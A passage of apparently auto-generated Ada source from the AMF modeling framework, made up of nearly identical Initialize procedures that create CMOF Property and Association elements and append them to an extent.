procedure Initialize_49 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_49;
-------------------
-- Initialize_50 --
-------------------
procedure Initialize_50 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_50;
-------------------
-- Initialize_51 --
-------------------
procedure Initialize_51 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_51;
-------------------
-- Initialize_52 --
-------------------
procedure Initialize_52 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_52;
-------------------
-- Initialize_53 --
-------------------
procedure Initialize_53 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_53;
-------------------
-- Initialize_54 --
-------------------
procedure Initialize_54 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_54;
-------------------
-- Initialize_55 --
-------------------
procedure Initialize_55 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_55;
-------------------
-- Initialize_56 --
-------------------
procedure Initialize_56 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_56;
-------------------
-- Initialize_57 --
-------------------
procedure Initialize_57 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_57;
-------------------
-- Initialize_58 --
-------------------
procedure Initialize_58 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_58;
-------------------
-- Initialize_59 --
-------------------
procedure Initialize_59 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_59;
-------------------
-- Initialize_60 --
-------------------
procedure Initialize_60 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_60;
-------------------
-- Initialize_61 --
-------------------
procedure Initialize_61 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_61;
-------------------
-- Initialize_62 --
-------------------
procedure Initialize_62 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_62;
-------------------
-- Initialize_63 --
-------------------
procedure Initialize_63 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_63;
-------------------
-- Initialize_64 --
-------------------
procedure Initialize_64 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_64;
-------------------
-- Initialize_65 --
-------------------
procedure Initialize_65 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_65;
-------------------
-- Initialize_66 --
-------------------
procedure Initialize_66 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_66;
-------------------
-- Initialize_67 --
-------------------
procedure Initialize_67 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_67;
-------------------
-- Initialize_68 --
-------------------
procedure Initialize_68 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_68;
-------------------
-- Initialize_69 --
-------------------
procedure Initialize_69 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_69;
-------------------
-- Initialize_70 --
-------------------
procedure Initialize_70 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_70;
-------------------
-- Initialize_71 --
-------------------
procedure Initialize_71 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_71;
-------------------
-- Initialize_72 --
-------------------
procedure Initialize_72 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_72;
-------------------
-- Initialize_73 --
-------------------
procedure Initialize_73 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_73;
-------------------
-- Initialize_74 --
-------------------
procedure Initialize_74 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_74;
-------------------
-- Initialize_75 --
-------------------
procedure Initialize_75 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_75;
-------------------
-- Initialize_76 --
-------------------
procedure Initialize_76 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_76;
-------------------
-- Initialize_77 --
-------------------
procedure Initialize_77 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_77;
-------------------
-- Initialize_78 --
-------------------
procedure Initialize_78 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_78;
-------------------
-- Initialize_79 --
-------------------
procedure Initialize_79 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_79;
-------------------
-- Initialize_80 --
-------------------
procedure Initialize_80 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_80;
-------------------
-- Initialize_81 --
-------------------
procedure Initialize_81 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_81;
-------------------
-- Initialize_82 --
-------------------
procedure Initialize_82 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_82;
-------------------
-- Initialize_83 --
-------------------
procedure Initialize_83 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_83;
-------------------
-- Initialize_84 --
-------------------
procedure Initialize_84 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_84;
-------------------
-- Initialize_85 --
-------------------
procedure Initialize_85 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_85;
-------------------
-- Initialize_86 --
-------------------
procedure Initialize_86 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_86;
-------------------
-- Initialize_87 --
-------------------
procedure Initialize_87 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_87;
-------------------
-- Initialize_88 --
-------------------
procedure Initialize_88 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_88;
-------------------
-- Initialize_89 --
-------------------
procedure Initialize_89 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_89;
-------------------
-- Initialize_90 --
-------------------
procedure Initialize_90 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_90;
-------------------
-- Initialize_91 --
-------------------
procedure Initialize_91 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_91;
-------------------
-- Initialize_92 --
-------------------
procedure Initialize_92 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_92;
-------------------
-- Initialize_93 --
-------------------
procedure Initialize_93 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_93;
-------------------
-- Initialize_94 --
-------------------
procedure Initialize_94 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_94;
-------------------
-- Initialize_95 --
-------------------
procedure Initialize_95 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_95;
-------------------
-- Initialize_96 --
-------------------
procedure Initialize_96 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_96;
-------------------
-- Initialize_97 --
-------------------
procedure Initialize_97 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_97;
-------------------
-- Initialize_98 --
-------------------
procedure Initialize_98 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_98;
-------------------
-- Initialize_99 --
-------------------
procedure Initialize_99 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_99;
--------------------
-- Initialize_100 --
--------------------
procedure Initialize_100 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_100;
--------------------
-- Initialize_101 --
--------------------
procedure Initialize_101 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_101;
--------------------
-- Initialize_102 --
--------------------
procedure Initialize_102 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_102;
--------------------
-- Initialize_103 --
--------------------
procedure Initialize_103 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_103;
--------------------
-- Initialize_104 --
--------------------
procedure Initialize_104 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_104;
--------------------
-- Initialize_105 --
--------------------
procedure Initialize_105 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_105;
--------------------
-- Initialize_106 --
--------------------
procedure Initialize_106 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_106;
--------------------
-- Initialize_107 --
--------------------
procedure Initialize_107 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_107;
--------------------
-- Initialize_108 --
--------------------
procedure Initialize_108 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_108;
--------------------
-- Initialize_109 --
--------------------
procedure Initialize_109 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_109;
--------------------
-- Initialize_110 --
--------------------
procedure Initialize_110 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_110;
--------------------
-- Initialize_111 --
--------------------
procedure Initialize_111 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_111;
--------------------
-- Initialize_112 --
--------------------
procedure Initialize_112 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_112;
--------------------
-- Initialize_113 --
--------------------
procedure Initialize_113 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_113;
--------------------
-- Initialize_114 --
--------------------
procedure Initialize_114 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_114;
--------------------
-- Initialize_115 --
--------------------
procedure Initialize_115 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_115;
--------------------
-- Initialize_116 --
--------------------
procedure Initialize_116 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_116;
--------------------
-- Initialize_117 --
--------------------
procedure Initialize_117 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_117;
--------------------
-- Initialize_118 --
--------------------
procedure Initialize_118 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_118;
--------------------
-- Initialize_119 --
--------------------
procedure Initialize_119 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_119;
--------------------
-- Initialize_120 --
--------------------
procedure Initialize_120 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_120;
--------------------
-- Initialize_121 --
--------------------
procedure Initialize_121 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_121;
--------------------
-- Initialize_122 --
--------------------
procedure Initialize_122 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_122;
--------------------
-- Initialize_123 --
--------------------
procedure Initialize_123 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_123;
--------------------
-- Initialize_124 --
--------------------
procedure Initialize_124 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_124;
--------------------
-- Initialize_125 --
--------------------
procedure Initialize_125 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_125;
--------------------
-- Initialize_126 --
--------------------
procedure Initialize_126 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_126;
--------------------
-- Initialize_127 --
--------------------
procedure Initialize_127 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_127;
--------------------
-- Initialize_128 --
--------------------
procedure Initialize_128 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_128;
--------------------
-- Initialize_129 --
--------------------
procedure Initialize_129 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_129;
--------------------
-- Initialize_130 --
--------------------
procedure Initialize_130 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_130;
--------------------
-- Initialize_131 --
--------------------
procedure Initialize_131 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_131;
--------------------
-- Initialize_132 --
--------------------
procedure Initialize_132 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_132;
--------------------
-- Initialize_133 --
--------------------
procedure Initialize_133 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_133;
--------------------
-- Initialize_134 --
--------------------
procedure Initialize_134 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_134;
--------------------
-- Initialize_135 --
--------------------
procedure Initialize_135 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_135;
--------------------
-- Initialize_136 --
--------------------
procedure Initialize_136 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_136;
--------------------
-- Initialize_137 --
--------------------
procedure Initialize_137 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_137;
--------------------
-- Initialize_138 --
--------------------
procedure Initialize_138 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_138;
--------------------
-- Initialize_139 --
--------------------
procedure Initialize_139 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_139;
--------------------
-- Initialize_140 --
--------------------
procedure Initialize_140 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_140;
--------------------
-- Initialize_141 --
--------------------
procedure Initialize_141 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_141;
--------------------
-- Initialize_142 --
--------------------
procedure Initialize_142 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_142;
--------------------
-- Initialize_143 --
--------------------
procedure Initialize_143 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_143;
--------------------
-- Initialize_144 --
--------------------
procedure Initialize_144 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_144;
--------------------
-- Initialize_145 --
--------------------
procedure Initialize_145 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_145;
--------------------
-- Initialize_146 --
--------------------
procedure Initialize_146 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Association;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_146;
--------------------
-- Initialize_147 --
--------------------
